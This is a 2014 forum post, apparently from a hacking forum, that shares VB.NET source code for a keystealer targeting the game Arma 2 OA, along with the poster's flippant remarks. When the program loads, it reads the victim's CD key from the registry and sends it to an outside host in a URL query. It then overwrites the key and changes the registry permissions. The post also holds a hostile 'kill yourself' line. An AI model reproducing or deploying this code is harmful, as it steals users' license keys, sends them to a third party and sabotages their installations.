12-17-2014, 03:33 AM
vb class:
php class:
once upon a time, people on youtube spread their unobfuscated keystealers, and the knight of camelot set upon these foes with his legendary dotnet resolver
i also made a stub builder a keystealing panel ages ago, that project has forever been lost in /tmp
Code:
Imports Microsoft.Win32
Imports System.Security.Principal
Imports System.Security.AccessControl
Imports System.Net
Public Class Form1
Private Function SetKey() As String
Dim identifier1 As SecurityIdentifier
Dim key1 As RegistryKey
Dim security1 As RegistrySecurity
Dim str1 As String
Dim str2 As String
key1 = Registry.LocalMachine.OpenSubKey("Software\Bohemia Interactive Studio\Arma 2 OA", True)
If key1.Equals(Nothing) Then
If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "KEY") Then
End If
Return Me.SetKey64()
End If
identifier1 = New SecurityIdentifier(1, Nothing)
str1 = TryCast(identifier1.Translate(GetType(NTAccount)), NTAccount).ToString()
security1 = New RegistrySecurity()
security1.AddAccessRule(New RegistryAccessRule(str1, 131097, 0, 0, 0))
security1.AddAccessRule(New RegistryAccessRule(str1, 458758, 0, 0, 1))
key1.SetValue("KEY", "0000000000000000")
key1.SetAccessControl(security1)
End Function
Private Function SetKey64() As String
Dim identifier1 As SecurityIdentifier
Dim key1 As RegistryKey
Dim security1 As RegistrySecurity
Dim str1 As String
Dim str2 As String
key1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", True)
If key1.Equals(Nothing) Then
If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "KEY") Then
End If
Return "Error"
End If
identifier1 = New SecurityIdentifier(1, Nothing)
str1 = TryCast(identifier1.Translate(GetType(NTAccount)), NTAccount).ToString()
security1 = New RegistrySecurity()
security1.AddAccessRule(New RegistryAccessRule(str1, 131097, 0, 0, 0))
security1.AddAccessRule(New RegistryAccessRule(str1, 458758, 0, 0, 1))
key1.SetValue("KEY", "0000000000000000")
key1.SetAccessControl(security1)
End Function
Private Function GetKey() As String
Dim key1 As RegistryKey
Dim str1 As String
key1 = Registry.LocalMachine.OpenSubKey("Software\Bohemia Interactive Studio\Arma 2 OA", True)
If key1.Equals(Nothing) Then
If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "KEY") Then
End If
Return Me.GetKey64()
End If
Return BitConverter.ToString(DirectCast(key1.GetValue("KEY"), Byte()))
End Function
Private Function GetKey64() As String
Dim key1 As RegistryKey
Dim str1 As String
key1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", True)
If key1.Equals(Nothing) Then
If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "Key") Then
End If
Return "Error"
End If
Return BitConverter.ToString(DirectCast(key1.GetValue("Key"), Byte()))
End Function
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim request1 As WebRequest
request1 = WebRequest.Create(((("http://cock.in/my/mouth/pleasestealmykey.php?key=" & "Key:" & Me.GetKey()))))
request1.GetResponse()
Me.SetKey()
End Sub
End ClassCode:
no fuck off this requires no effort, kill yourselfi also made a stub builder a keystealing panel ages ago, that project has forever been lost in /tmp
